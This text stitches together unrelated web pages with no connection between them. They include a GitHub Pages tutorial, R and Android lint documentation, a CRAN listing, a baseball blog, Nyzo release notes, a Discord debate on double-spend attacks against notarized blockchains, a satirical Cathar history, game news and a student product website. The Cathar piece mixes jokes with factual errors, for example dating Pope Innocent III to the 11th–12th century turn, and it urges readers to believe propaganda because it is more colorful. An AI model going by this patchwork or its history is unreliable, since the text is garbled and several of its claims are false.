Head over to GitHub and create a new repository named username.github.io, where username is your username (or organization name) on GitHub.
If the first part of the repository doesn’t exactly match your username, it won’t work, so make sure to get it right.
GitHub for Windows is a great way to use git and GitHub on Windows.
Download GitHub for WindowsGitHub for Mac is a great way to use git and GitHub on Mac.
Download GitHub for MacGo to the folder where you want to store your project, and clone the new repository:
~$git clone https://github.com/username/username.github.io
Click the green "Set up in Desktop" button. When the GitHub desktop app opens, save the project.
If the app doesn't open, launch it and clone the repository from the app.
After finishing the installation, head back to GitHub.com and refresh the page. Click the green "Set up in Desktop" button. When the GitHub desktop app opens, save the project.
If the app doesn't open, launch it and clone the repository from the app.
Enter the project folder and add an index.html file:
~$cd username.github.io
~$echo "Hello World" > index.html
Grab your favorite text editor and add an index.html file to your project:
<!DOCTYPE html>

Hello World

I'm hosted with GitHub Pages.

Add, commit, and push your changes:
~$git add --all
~$git commit -m "Initial commit"
~$git push -u origin master
Enter the repository, commit your changes, and press the sync button.

Fire up a browser and go to http://username.github.io.
For Project sites, you have the option to generate a site with one of the amazing pre-built themes, or to create a site from scratch.
Head over to GitHub.com and create a new repository, or go to an existing one. Click on the Settings tab.
For Project pages, the gh-pages
branch is used to publish your site. That means that you can work with GitHub Pages in the same repository as the project that it's for, without affecting the project itself.
Scroll down to the GitHub Pages module. Press the Launch automatic page generator button.
Use the editor to add content to your site. If you already have a README.md
in your project, you can import that on the right hand side.
When you're done, click Continue to Layouts.
Choose between the themes in the carouselle at the top. When you're done, click the Publish button on the right hand side.
Head over to GitHub.com and create a new repository, or go to an existing one. In the repository overview, click the branch drop-down on the left-hand side. Type in gh-pages
and press enter.
For Project pages, the gh-pages
branch is used to publish your site. That means that you can work with GitHub Pages in the same repository as the project that it's for.
If you created a new branch for GitHub Pages, go to the repository settings. In the Branches section, change the default branch to the newly created gh-pages
branch.
Go back to the repository overview, and use the plus icon next to the repository name to create a new file.
Name the file index.html
and type in Hello World
for the content.
Scroll to the bottom of the page, write a commit message, and commit the new file.
Fire up a browser and go to http://username.github.io/repository.


| TransformationAxes {car} | R Documentation |
These functions produce axes for the original scale of
transformed variables. Typically these would appear as additional
axes to the right or
at the top of the plot, but if the plot is produced with
axes=FALSE
, then these functions could be used for axes below or to
the left of the plot as well.
basicPowerAxis(power, base=exp(1), side=c("right", "above", "left", "below"), at, start=0, lead.digits=1, n.ticks, grid=FALSE, grid.col=gray(0.50), grid.lty=2, axis.title="Untransformed Data", cex=1, las=par("las")) bcPowerAxis(power, side=c("right", "above", "left", "below"), at, start=0, lead.digits=1, n.ticks, grid=FALSE, grid.col=gray(0.50), grid.lty=2, axis.title="Untransformed Data", cex=1, las=par("las")) bcnPowerAxis(power, shift, side=c("right", "above", "left", "below"), at, start=0, lead.digits=1, n.ticks, grid=FALSE, grid.col=gray(0.50), grid.lty=2, axis.title="Untransformed Data", cex=1, las=par("las")) yjPowerAxis(power, side=c("right", "above", "left", "below"), at, lead.digits=1, n.ticks, grid=FALSE, grid.col=gray(0.50), grid.lty=2, axis.title="Untransformed Data", cex=1, las=par("las")) probabilityAxis(scale=c("logit", "probit"), side=c("right", "above", "left", "below"), at, lead.digits=1, grid=FALSE, grid.lty=2, grid.col=gray(0.50), axis.title = "Probability", interval = 0.1, cex = 1, las=par("las"))
power |
power for Box-Cox, Box-Cox with negatives, Yeo-Johnson, or simple power transformation. |
shift |
the shift (gamma) parameter for the Box-Cox with negatives family. |
scale |
transformation used for probabilities, |
side |
side at which the axis is to be drawn; numeric
codes are also permitted: |
at |
numeric vector giving location of tick marks on original scale; if missing, the function will try to pick nice locations for the ticks. |
start |
if a start was added to a variable (e.g., to make all data values positive), it can now be subtracted from the tick labels. |
lead.digits |
number of leading digits for determining ‘nice’ numbers
for tick labels (default is |
n.ticks |
number of tick marks; if missing, same as corresponding transformed axis. |
grid |
if |
grid.col |
color of grid lines. |
grid.lty |
line type for grid lines. |
axis.title |
title for axis. |
cex |
relative character expansion for axis label. |
las |
if |
base |
base of log transformation for |
interval |
desired interval between tick marks on the probability scale. |
The transformations corresponding to the three functions are as follows:
basicPowerAxis
:Simple power transformation, x' = x^p for p != 0 and x' = log x for p = 0.
bcPowerAxis
:Box-Cox power transformation, x' = (x^p - 1)/p for x != 0 and x' = log(x) for p = 0.
bcnPowerAxis
:Box-Cox with negatives power transformation, the Box-Cox power transformation of z = .5 * (y + (y^2 + γ^2)^{1/2}), where gamma is strictly positive if y includes negative values and non-negative otherwise. The value of z is always positive.
yjPowerAxis
:Yeo-Johnson power transformation, for non-negative x, the Box-Cox transformation of x + 1; for negative x, the Box-Cox transformation of |x| + 1 with power 2 - p.
probabilityAxis
:logit or probit transformation, logit = log[p/(1 - p)], or probit = Phi^-1(p), where Phi^-1 is the standard-normal quantile function.
These functions will try to place tick marks at reasonable locations, but
producing a good-looking graph sometimes requires some fiddling with the
at
argument.
These functions are used for their side effects: to draw axes.
John Fox<EMAIL_ADDRESS>Fox, J. and Weisberg, S. (2019) An R Companion to Applied Regression, Third Edition, Sage.
basicPower
, bcPower
, yjPower
,
logit
.
UN <- na.omit(UN) par(mar=c(5, 4, 4, 4) + 0.1) # leave space on right with(UN, plot(log(ppgdp, 10), log(infantMortality, 10))) basicPowerAxis(0, base=10, side="above", at=c(50, 200, 500, 2000, 5000, 20000), grid=TRUE, axis.title="GDP per capita") basicPowerAxis(0, base=10, side="right", at=c(5, 10, 20, 50, 100), grid=TRUE, axis.title="infant mortality rate per 1000") with(UN, plot(bcPower(ppgdp, 0), bcPower(infantMortality, 0))) bcPowerAxis(0, side="above", grid=TRUE, axis.title="GDP per capita") bcPowerAxis(0, side="right", grid=TRUE, axis.title="infant mortality rate per 1000") with(UN, qqPlot(logit(infantMortality/1000))) probabilityAxis() with(UN, qqPlot(qnorm(infantMortality/1000))) probabilityAxis(at=c(.005, .01, .02, .04, .08, .16), scale="probit") qqPlot(bcnPower(Ornstein$interlocks, lambda=1/3, gamma=0.1)) bcnPowerAxis(1/3, 0.1, at=c(o=0, 5, 10, 20, 40, 80))


(#) Implicit SAM Instances
!!! WARNING: Implicit SAM Instances
This is a warning.
Id
: `ImplicitSamInstance`
Summary
: Implicit SAM Instances
Note
: **This issue is disabled by default**; use `--enable ImplicitSamInstance`
Severity
: Warning
Category
: Correctness
Platform
: Any
Vendor
: Android Open Source Project
Feedback
: https://issuetracker.google.com/issues/new?component=192708
Affects
: Kotlin and Java files
Editing
: This check runs on the fly in the IDE editor
Implementation
: [Source Code](https://cs.android.com/android-studio/platform/tools/base/+/mirror-goog-studio-main:lint/libs/lint-checks/src/main/java/com/android/tools/lint/checks/SamDetector.kt)
Tests
: [Source Code](https://cs.android.com/android-studio/platform/tools/base/+/mirror-goog-studio-main:lint/libs/lint-tests/src/test/java/com/android/tools/lint/checks/SamDetectorTest.kt)
Copyright Year
: 2018
Kotlin's support for SAM (single accessor method) interfaces lets you
pass a lambda to the interface. This will create a new instance on the
fly even though there is no explicit constructor call. If you pass one
of these lambdas or method references into a method which (for example)
stores or compares the object identity, unexpected results may happen.
!!! Tip
This lint check has an associated quickfix available in the IDE.
(##) Example
Here is an example of lint warnings produced by this check:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~text
src/test/pkg/test.kt:17:Warning: Implicit new MyInterface instance being
passed to method which ends up checking instance equality; this can lead
to subtle bugs [ImplicitSamInstance]
handler.stash(lambda, list) // WARN
------
src/test/pkg/test.kt:18:Warning: Implicit new MyInterface instance being
passed to method which ends up checking instance equality; this can lead
to subtle bugs [ImplicitSamInstance]
handler.store(lambda) // WARN
------
src/test/pkg/test.kt:19:Warning: Implicit new MyInterface instance being
passed to method which ends up checking instance equality; this can lead
to subtle bugs [ImplicitSamInstance]
handler.compareIdentity1(lambda) // WARN
------
src/test/pkg/test.kt:20:Warning: Implicit new MyInterface instance being
passed to method which ends up checking instance equality; this can lead
to subtle bugs [ImplicitSamInstance]
handler.compareIdentity2(lambda) // WARN
------
src/test/pkg/test.kt:27:Warning: Implicit new MyInterface instance being
passed to method which ends up checking instance equality; this can lead
to subtle bugs [ImplicitSamInstance]
handler.stash(lambda2, list) // WARN
-------
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Here is the source file referenced above:
`src/test/pkg/test.kt`:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~kotlin linenumbers
@file:Suppress("RedundantSamConstructor", "MoveLambdaOutsideParentheses")
package test.pkg
fun test(handler: MyHandler, list: List


Edit Application
Add to favorites
Download info on PDF
Release date
Price
€
Type of game play
Type of app
Platform
Category
Web site
Company
Income estimation
€
Sales estimation
uds.
Total reviews
Positive Words
Word
Count
Negative Words
Word
Count
Comments
Title
Content
Delete comment
Add comment


Insert/extract text "reminders" into/from function source code comments or as the "comment" attribute of any object. The former can be handy in development as reminders of e.g. argument requirements, expected objects in the calling environment, required options settings, etc. The latter can be used to provide information of the object and as simple manual "tooltips" for users, among other things.
| Version: | 0.0.1 |
| Depends: | R (≥ 3.3.2) |
| Imports: | assertthat |
| Suggests: | knitr, rmarkdown |
| Published: | 2017-03-07 |
| Author: | Bert Gunter [aut, cre] |
| Maintainer: | Bert Gunter <bgunter.4567 at gmail.com> |
| License: | GPL-2 | GPL-3 |
| NeedsCompilation: | no |
| CRAN checks: | remindR results |
| Reference manual: | remindR.pdf |
| Vignettes: |
remindR: In Code Text Reminders To Aid Code Development |
| Package source: | remindR_0.0.1.tar.gz |
| Windows binaries: | r-devel: remindR_0.0.1.zip, r-release: remindR_0.0.1.zip, r-oldrel: remindR_0.0.1.zip |
| OS X binaries: | r-release: remindR_0.0.1.tgz, r-oldrel: remindR_0.0.1.tgz |
Please use the canonical form https://CRAN.R-project.org/package=remindR to link to this page.


h2
BASEBALL
americas greatest game
great heroes are born
World Series:
Nationals or Astros: Which is the better team?
So far the houston astros seem to be the more predominant team in this race, although they originally were down 2-0 at the start of the series they have fought there way back to the top.
Data is collected from multiple sources
After last nights game I am almost certain that with the momentum going with houston that the next few games will be theres. Although there have been many upsets before, there will be no greater upset for manager dave martines who, if the nats lose today would of lost 4 straight
Top 5 reasons the Mets will be in the World Series next year
After making some great moves last season, Van Wagnen will definetly by out for the hunt to get some key players for next year
After having a year of struggle, with syndergard back to his true form, you can add at least another 12 wins to the mets
h2
mets are now looking to sign some crucial free agents this season including the mvp candidate, Anthony Rendon


Nyzo version 484 (commit on GitHub) improves node management for the verifier.
This version does not alter behavior of the sentinel. The classes and methods modified are only used by the verifier.
As the cycle and mesh grow, the importance of managing network traffic increases. Previously, node-join messages were typically sent in short bursts. These short bursts could potentially trigger anti-DDoS protections on some cloud providers, and they could also result in excessive memory consumption. This update changes the process for sending node-join messages, replacing most of the short bursts with a small number of messages just after each block is frozen.
This update also corrects an issue in which inactive in-cycle nodes would never be removed from the mesh, and it improves reporting about mesh in the status response.
In the NodeManager class, the method that would send node-join messages on demand has been replaced with a method that adds the requested IP addresses and port to a queue. The queue is stored in a map on IP address, so if the same address is added to the queue multiple times before the first request is sent, the new entry will overwrite the old entry and prevent the request from being sent multiple times. This is the desired behavior, especially in the bootstrap process, where node-join messages are sent to every node in the meshes returned by all trusted entry points.
The method that sends node-join requests sends a specified number of requests on demand, selecting elements arbitrarily from the queue.
In the verifier bootstrap process, requests are enqueued for all nodes returned by all trusted entry points. Then, this method is called with a negative value, which causes the entire queue to be sent at once. While this does cause a burst in traffic as it did before, this is at a point in the process where the verifier is not yet sending block votes, so the peak outgoing traffic of the verifier is still lower than it was before.
In normal verifier operation, a call to request the mesh is made once each time a block is frozen. Then, up to 10 requests are sent from the queue.
The NodeManager method that requests the mesh maintains a counter to ensure that the queue is repopulated no more than once per cycle, and a check is performed to ensure the queue is not repopulated unless it is empty. The requirement that the queue be empty before it is repopulated is important, as the queue uses a FIRO (first-in-random-out) behavior, and this condition helps to ensure that all nodes in the mesh are queried at a reasonable interval. This method, when executed at an inconvenient time when block votes were also being broadcast, was especially problematic before this update.
Also in the NodeManager class, a condition was removed that had prevented in-cycle verifiers from being marked as inactive. This condition was initially added on the assumption that a verifier would eventually be removed from the cycle if it was inactive, but it did not take into account multiple instances with the same identifier, changed IP addresses, or the sentinel.
The removeNodeFromMesh() method has been renamed to markNodeAsInactive() to better reflect its purpose. Also, a check is now performed so that an inactive node is not marked again with a newer inactive timestamp.
The updateActiveVerifiersAndRemoveOldNodes() method has been updated with an additional set to track in-cycle verifiers, and a field has been added to display any in-cycle verifiers that are currently unknown to the node manager. The activeVerifiers set has also been renamed to activeIdentifiers to improve code clarity.
The status response has been updated to provide better information about the mesh connections. The number of inactive nodes, displayed previously, typically overstated the actual number of inactive nodes, as it displayed the difference between active nodes and unique identifiers on the mesh, which caused duplicate identifiers to be counted as inactive nodes. Rather than correcting the issue, the number of inactive nodes was removed entirely, and the number of active cycle identifiers was added, as this is a much more important value in determining the health of the mesh.
The requester identifier has been added to the status response to aid in diagnosing why the public or privileged response was returned, and the number of node-join messages sent and the missing in-cycle verifiers have been added to show how the node-join modifications in this update are performing.


Ask questions about the core tech here, but not questions about prices or personal questions or GUI and please don't DM JL777.
https://dexstats.info/richlistlookup.php?address=RLVzC4tr9cNKvuw2z4m8KuMfZURwCehx55
https://medium.com/@jameslee777
100 messages
Before 05-Dec-19 12:00 AM
jl777c08-Dec-18 08:26 PM
as it has the notarization
chain B would never get above 1 "confirmations" as it never got a notarization
so anybody on chainB wouldnt honor any payment
sgp08-Dec-18 08:27 PM
that's a local user config though
jl777c08-Dec-18 08:27 PM
i think you are ignoring the part of following whether a tx is notarized or not
ok, so if the user (exchange) allows deposits after 1 confirmation, then maybe you can double spend on the non-notarized chain
sgp08-Dec-18 08:28 PM
I understand there are limitations that are put in place, but these simply make the attack harder, they do not make it impossible
jl777c08-Dec-18 08:28 PM
you are only talking about attacking the non-notarized chain, which doesnt have a notarization, so doesnt have the notarization protection
dPoW protects the notarized chain, not the non-notarized chain
you shouldnt be misrepresenting that notarization doesnt prevent double spends
you can clarify that non-notarized chains can be double spent
practically speaking what exchange credits altcoins after 1 confirmation??
i would say the attack even on the non-notarized chain is MUCH harder
and for the notarized blocks, not possible
sgp08-Dec-18 08:30 PM
jl777c that's semantics though, since you could replace the notarized chain with a non-notarized or even a different notarized one. That argument is basically saying that you can't double-spend if you only use one chain, which we know is false since an attacker spins up a different chain
jl777c08-Dec-18 08:31 PM
there is only one notarized chain
it is either notarized or not notarized
sgp08-Dec-18 08:31 PM
unless collusion, which we discussed
@Deleted User you could say the same for a 51% attack
jl777c08-Dec-18 08:32 PM
that attacker can spin up a different chain, but it is either notarized or not
Alright08-Dec-18 08:32 PM
What's the proposed attack vector of the day?
jl777c08-Dec-18 08:33 PM
he has some chart that shows impossible states and claims it shows a double spend
sgp08-Dec-18 08:33 PM
@Deleted User how about this: VPS / server infrastructure providers colluding?
Alright08-Dec-18 08:33 PM
Can someone link to chart please? Did you make a new medium post?
sgp08-Dec-18 08:33 PM
@Alright I did not make a new post yet
jl777c08-Dec-18 08:34 PM
chainB was never notarized
sgp08-Dec-18 08:34 PM
It is in figure 2(edited)
jl777c08-Dec-18 08:34 PM
so it never gets the protection from notarization
ok, so you finally agree that in figure 1, there is no double spend?
Alright08-Dec-18 08:34 PM
chain b would never get notarized
that is indeed an impossible state
Your "what if" is a chain split due to differing consensus rules
sgp08-Dec-18 08:35 PM
Figure 1 is a double spend to people who do not require a notarization, or simply count the # of block confirmations. It is not a double spend for people who count notarizations
Alright08-Dec-18 08:35 PM
@sgp
you get it now
sgp08-Dec-18 08:36 PM
@Deleted User not 100%, that was just the example
Alright08-Dec-18 08:36 PM
transactions aren't truly secure until they're notarized
so don't accept them as a deposit until they are
jl777c08-Dec-18 08:36 PM
but even if figure 2 happens, where is the double spend? each node is either on chain A or chain B
and there is a massive chain split event for the community to resolve
sgp08-Dec-18 08:37 PM
jl777c if an attacker makes a payment in chain A that is notarized (and therefore confirmed), then creates chain B with no transaction included
Alright08-Dec-18 08:37 PM
chain B doesn't exist
doesn't matter at all
it's orphaned by the entire network
jl777c08-Dec-18 08:38 PM
he is talking about the impossible state of figure 2, where there are two notarized chains
sgp08-Dec-18 08:38 PM
"improbable", but even there would be issues with figure 1
Alright08-Dec-18 08:38 PM
Again, your "what if" is based on a chain split due to differing consensus rules
jl777c08-Dec-18 08:39 PM
but the evil notaries would have an easier time to attack a chain if it wasnt notarized at all
1
Alright08-Dec-18 08:39 PM
what if all BTC pools colluded to break BTC?
oh what, they have no reason to do that?
1
jl777c08-Dec-18 08:39 PM
so even by this fantasy scenario, dPoW is making it harder to attack a chain
1
Alright08-Dec-18 08:39 PM
that'd be them working against their best interest, huh
weird
sgp08-Dec-18 08:40 PM
jl777c sure, but they could need it for a deposit, or a number of other scenarios, such that it was after a recent notary election, etc(edited)
in this case, the attackers could use the notarization to their advantage, since services look for one notarized block confirmation rather than several normal blocks
gives a 51% attacker an easier time since they need to produce fewer blocks
jl777c08-Dec-18 08:43 PM
again you dont understand and leap to conclusion
the number of confirmations stays at 1, until there is a notarization, after that it is normal
so if an exchange makes no changes to the existing confirmations, it only makes it wait for notarization and never any easier
Alright08-Dec-18 08:44 PM
back to work, excited to see tomorrow's proposed attack vector
sgp08-Dec-18 08:44 PM
I understand that. My point is that instead of waiting for 10 or so blocks, they only wait for 1 notarized block, which is less total work to attack
jl777c08-Dec-18 08:45 PM
no
freakbros08-Dec-18 08:45 PM
How is this guy holy sheep shit Batman
jl777c08-Dec-18 08:45 PM
they should wait for 10 confirmations as normal, it just stays at 1 confirmation until a notarization
so 10 is still 10
unless it is more than 10 if the notarization took longer
a notarized "10" is NEVER less than 10
it seems you are so eager to find some horrible flaw
sgp08-Dec-18 08:46 PM
can you explain again the conditions where the software reports 1 or 2 confirmations?
jl777c08-Dec-18 08:46 PM
which is fine, but if you are not basing it on facts then it is fantasy
the logic is that it reports as 1 confirmation until it is notarized
it might never report 2 confirmations
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 12
sgp08-Dec-18 08:47 PM
thanks @Deleted User, I take my point regarding reducing total work back
jl777c08-Dec-18 08:47 PM
so for chain B it stays at 1
sgp08-Dec-18 08:48 PM
it could still be an issue of elections or some other situation though
jl777c08-Dec-18 08:48 PM
what does elections have to do with anything?
the worst that happens with new notaries is that maybe there are not enough and there are no notarizations until they are
sgp08-Dec-18 08:49 PM
the elections would change the pool of notary node participants. if someone is not currently a notary node but knows they will be one in a few days, they could attempt this
1
jl777c08-Dec-18 08:49 PM
attempt what?
sgp08-Dec-18 08:50 PM
figure 2, where they make a deposit on chain A, then attempt to notarize chain B
jl777c08-Dec-18 08:50 PM
convince all the others to do a difficult to do chain split, dual notarization, combined with a double spend and convince the community to adopt the chain where they didnt deposit to the exchange that was 51% attacked? that scenario?
sgp08-Dec-18 08:51 PM
You asked why someone would do so after creating a false notarization, and I'm giving some examples
Alright08-Dec-18 08:51 PM
@sgp best to just ask us how the election works instead of making assumptions about it then basing attack vectors on those assumptions
sgp08-Dec-18 08:51 PM
I never claimed they were practical
jl777c08-Dec-18 08:51 PM
so impractical and uneconomic fantasy attacks?
that is what you are making a big deal out of?
sgp08-Dec-18 08:52 PM
no, I still find figure 1 concerning, since even if an attack isn't successful, it would severely slow down the network. there are other considerations, but you only seem interested in talking about a 51% attack
freakbros08-Dec-18 08:53 PM
Quit spamming the channel then
sgp08-Dec-18 08:53 PM
I have shown situations where they are possible, though they are unlikely
Fine, I will leave
jl777c08-Dec-18 08:53 PM
slow down the network?
having competing chains is normal
sgp08-Dec-18 08:53 PM
I appreciate this conversation, I will write up another article later. Have a nice day
jl777c08-Dec-18 08:53 PM
how does it slow down the network?
plz try to keep it factual
Alright08-Dec-18 08:54 PM
what situations did he show were possible?
polycryptoblog08-Dec-18 08:54 PM
Off topic question : can the burn protocol be used as many to one or is it limited to 1 to 1
jl777c08-Dec-18 08:55 PM
notaries collude to do chain split, dual notarization, combined with a simultaneous double spend and convince the community to adopt the chain where they didnt deposit to the exchange that was 51% attack.
freakbros08-Dec-18 08:55 PM
I know but just keeps going over and over I’m sorry he just can’t get it I won’t say any more


--- layout: home title: Your New Jekyll Knowledge Base slug: home ---
This is the landing page template for a Jekyll powered Knowledge Base. Built using Bootstrap for the front-end framework and Jekyll to generate the static site. Use it as a starting point to create something awesome!


|
CatharsThe Cathars believed that the world was split along lines of matter and spirit, good and evil. They believed in purifying themselves, clean living, chastity, poverty and equality of the sexes.If you're thinking to yourself, "danger, danger, must exterminate," you would have made a good Pope Innocent III. The Cathars were a gnostic Christian sect that arose in the 11th century, an offshoot of a small surviving European gnostic community that emigrated to the Albigensian region in the south of France. The name "Cathar" comes from a Greek work meaning "Pure Ones," a noble enough sentiment but one that would get them into a lot of trouble. They took the "pure" thing very seriously. Cathars reportedly took vows of chastity, poverty and non-violence. Sounds innocuous? Hell, no! The Catholic Church was the dominant religious force in France at the time. Medieval priests were somewhat less than scions of morality, however. For one thing, they were notorious lechers, fornicating all over the place and fathering bastards where ever they went. Other clerical practices of the time included selling salvation to the highest bidder and accumulating large amounts of property and personal wealth. The priests felt that all this poverty and chastity was making them look bad, which in fact it was. The Cathars were very popular at the time, and they developed a strong base of support. They were also buddies with the Knights Templar, a powerful and fabulously wealthy Holy Grail cult based in the region. The ironically named Pope Innocent III came on the scene as the 11th Century became the 12th, and he had some pretty specific ideas about the papacy, based on the groundwork laid by his predecessors. Chief among these notions was that the pope should be king of the world. As such, he had to send out a message to the common folk: "Resistance is futile. Prepare to be assimilated." Innocent launched a Crusade against the Cathars, who managed to endure for about 20 years, despite the whole non-violence thing, a rather remarkable accomplishment when you think about it. The Crusaders slaughtered whole towns, sometimes indiscriminately, in search of the heretics. After the open warfare had ended, those pesky Cathars STILL hadn't been exterminated. There were stories that the Knights Templar, also based in the region, had preserved some of the Cathar secrets and sacraments, possibly pertaining to the Holy Grail or the existence of living descendants of Christ in the region, offspring resulting from hot heretical action with Mary Magdalene. Pope Clement V and the King of France sent the Inquisition to exterminate the Templars, but that had less to do with the Cathars than the Templars' fabulous real estate holdings, which both the pope and the king coveted. Regardless of the various baser motivations behind the killing of the Cathars, their beliefs did appear to be fairly heretical, although the primary historical record comes from their murderers. The Cathars are thought to have been a pretty pure offshoot of the original Gnostics. They believed the God of the Old Testament was a blind and evil god, responsible for creating the world of matter. Ipso facto, the world of matter was therefore evil and should be spurned, including all its perks, such as sex, drugs, goodies and rock-n-roll. They are also thought to have believed that Jesus Christ didn't actually take on one of those dirty, dirty bodies with all its dirty, nasty bits, but that he was a purely spiritual being, thus rendering the Crucifixion a big hoax on an unwitting public, not unlike the Fake Moon Landing. The Cathars had no use for the Catholic sacraments, according to contemporary accounts. Once medieval inquisitor reported that the Cathars were particularly down on Holy Communion, pointing out that "the eucharist (...) cannot contain the body of Christ, for had this been as great as the largest mountain Christians would have entirely consumed it before this." The Inquisitors apparently felt Jesus was an all-you-can-eat deal. Instead, the Cathars came up with their own sacraments, including the consolamentum, a yearlong bodily purification which ended in a vow to be poor, non-violent, celibate and Vegan. In other words, they promised not to enjoy anything, period. They also had a dramatically scaled down "breaking of the bread" (sans logic-defying cannibalistic elements) and public confessions. As the wrath of Innocent III descended on the Cathars, the luxuries of non-violence and vegetarianism grew to be problematic. Consolamentum was often delayed until the final moments of life; the Catholics countered by inventing the "last rites," a sacrament in which a dead person receives a blessing with no tangible benefit from an attending priest. As it became increasingly associated with deathbeds, stories began to circulate that the consolamentum was actually an assisted Suicide ritual, in which the participant was sent off to meet God with the help of some lengthwise gashes along the wrists. This may have been Catholic propaganda, but since it's much more colorful and garish than the other version, we recommend that you believe it.
|


[full-width-separator]
Sort words into the categories provided by your teacher to help you practice using vocabulary.


BlazBlue Cross Tag Battle now lets you fight as a tank with a skull
Follow Polygon online:
by Owen S. GoodEight new fighters join the lineup of anime-crossover fighting game BlazBlue Cross Tag Battle with the 2.0 Expansion Pack, available now. In terms of who’s the best, our money is on the tank. With a skull. For a head.
That would be Blitztank, who is paired with Akatsuki from their namesake fighting game Akatsuki Blitzkampf, a 2007 Japan-only release by Subtle Style. Arc System Works’ fighting game, which launched on PlayStation 4, Nintendo Switch and Windows PC in June 2018, has been a goldmine for fans of esoteric anime and fighting game characters. The expansion pack, which costs $24.99, brings that roster total to 51.
The other fighters included are Yumi from Senran Kagura Estival Versus, Neo Politan from RWBY, Celica from BlazBlue, Elizabeth from Persona 4: The Animation, Adachi from Persona 4 Arena Ultimax, Hilda from Under Night In-Birth, and Susanoo from BlazBlue.
Additionally, a title update delivering version 2.0 will be a free “major balance adjustment” for all players of BlazBlue Cross Tag Battle. Arc System Works says that players may fight against the new 2.0 characters without purchasing the expansion pack.


Convenient. Easy to Use. Automated.
The SnowBot was created by a team of four proactive Materials Scientists at Imperial College.
Two of our members who are Polish reflected on the daily, inconvenient and strenuousness of removing snow from the tops of their cars, before they could drive anywhere in Winter in Poland.
We discovered that across this was problem across Europe and many other parts of the world (although not a significant problem in the UK) due driving safety laws.
After discovering that no automated snow-removing solution currently exists, the team decided to set about designing and prototyping the world’s first robot which could be used by people of all ages and abilities to start their day in a hassle free way.
Special prominence was placed on making the device easy use, store and operate, to make it truly accessible for those with reduce mobility and or limited motion.
The SnowBot is an automated robot designed to remove snow from the top of consumer vehicles such as cars. It eliminates the time and strain associated with removing snow from a vehicle; is accessible to those who would struggle to use existing snow clearing tools.
Got Questions? Contact Us
The SnowBot was designed with complete automation in mind. Simply place the SnowBot on the roof of your car and it will set its own course to push snow from the top of your car. Its responsive system of sensors will detect the edge of your car and adjust the SnowBot’s path accordingly, ensuring that the device will not fall from your car.
Save time, energy and inconvenience compared with other snow clearing tools by using the SnowBot!
The SnowBot - an affordable a modern solution to an age-old problem.
Magnetic tracks to grip the robot to car rooftops
Silicon lined snow plow to push snow across the surface of the car without scratching the car paintwork
Battery powered with rechargeable batteries (batteries must be recharged separately)
Robust steel bodied frame housing electrical components & circuits
Sensors to detect the age of the car and create the optimum snow clearing path
Dimensions: 25 by 30 by 22 (width by length by height)
Weight: 600g
Only Suitable for Steel Bodied Cars
Batteries not included
The tools used to develop this website include:
Atom
Github
Start Bootstrap + Other Free Opensource Bootstrap Resources
The above tools were recommended and selected because they each carry out key features: bootstrap templates speed up the rate at which a website can be developed by providing a strong wireframe to edit. Atom allows a bootstrap template to be edited, while GitHub ensures each change made to the website could be reversed if necessary.
To register a domain, one should visit a domain registrar such as Go Daddy or Namecheap.
One can select a name, and suffix factor (.com/.edu/.org)
After the domain is purchased, the domain must propagate. This refers to the official domain name registry being updated with your chosen website’s Domain Name System information.
You can "own" a domain in yearly increments - domain registration is paid for on an annual basis.
The Domain Registrar
Your contact information is public and accessible through the Whois database at most registrars. However, you can protect your privacy by registering your domain name with us using our private domain name registration services.
When you purchase private domain name registration, the Whois database lists the name of our privacy affiliate company, as well as their postal address and phone number — instead of your personal contact information.
In my opinion a good website is one which is functional, easy to use and is aesthetically pleasing.
First and foremost, the website should be functional; it should aid the user in carrying out its purpose. For online stores, this will include having an effective ecommerce network where customers can view products, add them to the cart and purchase the products. For other websites, the function may simply be to give the user information, in which case it should be very clear how to navigate the website to find the relevant information.
This ties in to point 2; the website interface should be easy to navigate with an intuitive layout. It should also be accessible for all ages, abilities in its intended audience. For instance, if it is a website for English speakers, all content and navigation tools should be in English, while if is supposed to be used by both French and English speakers, it should have a dedicated English/French toggle where users can switch to their language of choice. Other features that aid ease of use include suitable text size and fonts and presenting information in a coherent manner that is straightforward for the reader to take in and process (using a moderate number of animations, and avoiding clashing background and text colours).
Finally, a website should be aesthetically pleasing. This is mostly a marketing feature, as ugly websites or basic websites seem outdated or untended to; if two companies offer the same service, but one’s website is better formatted and easier to use, that website will probably obtain a higher visit:action conversion rate.
Accessibility on websites is the idea of designing a website so that anyone can use in spite of their any conditions or impairments they may have. The most common form of impairments are vision, hearing, motor skills, photosensitive seizures and cognitive disabilities (including dementia and dyslexia). Assistive technologies exist to help users access the internet including screen readers which play text out loud, speech recognition software and alternative keyboards. An accessible website is one which doesn’t exclude groups of people who may have an impairment.
I have made this website accessible by ensuring it can be used without a mouse: it is navigable using just the tab key. I have tried to make sure the content is accessible by only using static content; *dynamic content is normally not read by screenreaders.
I have used headers across this website, which will help screen readers interpret the page. All images include alternative text landmarks which describe the image they are affiliated with – this allows screen readers to read the image.
I have also used made my use of colour accessible; colour blind individuals or those with visual impairments can struggle to read text/view images when there is poor colour contrast. Hence, I chose to use a high contrast palette, in addition to a moderate font size and easy to read font.
The General Data Protection Regulation (GDPR) was a piece of legislation introduced by the European Union (EU) in May 2018. It aims to offers increased protection of individuals’ personal data, and provide additional rights to consumers. While GDPR only applies to regarding individuals in the EU and European Economic Area (EEA), the global nature of business means that many companies outside of the EU/EEA are need to comply with GDPR.
Personal data is termed as any information which could be used to identify a person and includes their name, age, gender, usernames, location, IP address and other types of unique data. Companies operating within the EU need to prove that they have consent for a person’s data and describe how they intend to use the data. They must also delete data if it is no longer relevant or needed, and consumers have a right of access to know what data a company holds and who they passed this information onto.
Additionally, under GDPR, companies need to report data breaches within 72 hours of the breach being discovered, and the minimum threshold for personal data storage is more stringent than prior to GDPR. Non-compliance with GDPR can result in significant fines of up to 4% of a company’s global turnover.
I have ensured this website complies with GDPR by asking for the permission of my teammates to use their names and photographs on the website. Similarly, for the contact us form on this website, the user needs to give consent for their data to be used to contact them to answer their query.
To drive people to the website, I would use social media as my main advertising tool.
